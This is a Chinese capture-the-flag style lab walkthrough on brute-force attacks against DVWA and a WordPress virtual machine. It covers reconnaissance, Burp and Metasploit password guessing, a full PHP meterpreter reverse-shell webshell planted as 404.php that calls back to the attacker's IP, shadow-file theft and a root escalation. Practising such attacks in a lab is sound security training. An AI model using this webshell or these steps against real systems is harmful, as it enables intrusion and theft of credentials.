WEB安全实战(带靶场)–暴力破解
WEB安全實戰(帶靶場)–暴力破解
靶場一:DVWA中的暴力破解
靶場二:靶場實驗 暴力破解
暴力破解百度云鏈接(失效請在評論區通知)
鏈接:https://pan.baidu.com/s/1FcNFC27VFBfQy0ZMnB_TAg
提取碼:1234
Brute Force(暴力破解)
Brute Force是指黑客利用密碼字典,使用窮舉法猜解出用戶口令,是現在最為廣泛使用的攻擊手法之一,如2014年轟動全國的12306“撞庫”事件,實質就是暴力破解攻擊,Web安全中的暴力破解也是利用嘗試所有的可能性最終獲取正確的結果。
靶場一:DVWA中的暴力破解
源碼解析
if( isset( $_GET[ 'Login' ] ) ) {# 獲取用戶名和密碼$user = $_GET[ 'username' ];$pass = $_GET[ 'password' ];$pass = md5( $pass );# 查詢驗證用戶名和密碼$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );if( $result && mysql_num_rows( $result ) == 1 ) {# 輸出頭像和用戶名$avatar = mysql_result( $result, 0, "avatar" );echo "<p>Welcome to the password protected area {$user}</p>";}else {登錄失敗}mysql_close(); }Isset
檢測變量是否已聲明并且其值不為 null (https://www.php.net/manual/zh/function.isset.php) 若變量不存在則返回 FALSE 若變量存在且其值為NULL,也返回 FALSE 若變量存在且值不為NULL,則返回 TURE 同時檢查多個變量時,每個單項都符合上一條要求時才返回 TRUE,否則結果為 FALSE 如果已經使用 unset() 釋放了一個變量之后,它將不再是 isset()。 若使用 isset() 測試一個被設置成 NULL 的變量,將返回 FALSE。同時要注意的是一個 NULL 字節("\0")并不等同于 PHP 的 NULL 常數。$_GET 和 $_POST
PHP 超全局變量 $_GET 和 $_POST 用于收集表單數據 $_GET 是通過 URL 參數傳遞到當前腳本的變量數組。 $_POST 是通過 HTTP POST 傳遞到當前腳本的變量數組。mysql_query() 函數
執行一條 MySQL 查詢mysql_error() 函數
返回上一個 MySQL 操作產生的文本錯誤信息。mysql_num_rows() 函數
返回結果集中行的數目。mysql_result()函數
返回結果集中一個字段的值,如果成功,則該函數返回字段值。如果失敗,則返回 false。綜上所述:未做登錄驗證碼以及登錄次數限制,這是初級代碼,還存在sql注入。
漏洞利用
第一步:使用burpsuite抓包
第二步:ctrl+I將包復制到intruder模塊,因為要對username(為了節省時間這里直接用admin)和password參數進行爆破,所以在password參數的內容兩邊加$
第三步:選中Payloads,載入字典,點擊Start attack進行爆破
獲取到密碼為password
實驗一結束
靶場二:靶場實驗 暴力破解
實驗環境
攻擊機:kali
IP:192.168.31.15
靶場機器:暴力破解.ova(Ubuntu)
IP:192.168.31.86
信息探測
掃描主機服務信息以及服務版本
nmap -T4 -A -v 靶場IP地址探測敏感信息
nikto -host http://靶場IP地址:端口掃描網頁目錄(這里后期補充換了一下ip,不影響觀看)
dirb http://ip:端口漏洞挖掘
打開WEB首頁
查看站點敏感目錄:/secret/
打開后臺登錄頁面
漏洞利用
Wordpress用戶名枚舉(需要聯網)
wpscan --url URL ----enumerate u發現用戶名admin
利用Metasploit 進行密碼暴力破解
msfconsole利用wordpress用戶枚舉模塊
發現密碼為admin
Tips:頁面登陸 如果發現登陸頁面跳轉失敗
修改host文件進行ip映射
順利打開:用戶名:admin 密碼:admin
登陸成功
漏洞提權
生成webshell(php木馬文件)
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.31.15 lport=4444 -f raw源碼附上
<?php /**/ error_reporting(0); $ip = '192.168.31.15'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();運行404.php文件
http://192.168.31.86/secret/wp-content/themes/twentyseventeen/404.phpMsf反彈shell
下載用戶密碼以及影子文件進行破解
獲取到用戶名以及密碼:marlinspike (marlinspike)
shell提權(利用python模塊pty)
python -c "import pty;pty.spawn('/bin/bash')"切換為marlinspike用戶
查看sudo權限
切換為root權限
獲取到flag值 實驗結束
總結
以上是生活随笔為你收集整理的WEB安全实战(带靶场)–暴力破解的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 模拟后台接收短信验证码
- 下一篇: 湖南师范大学2018年大学生程序设计竞赛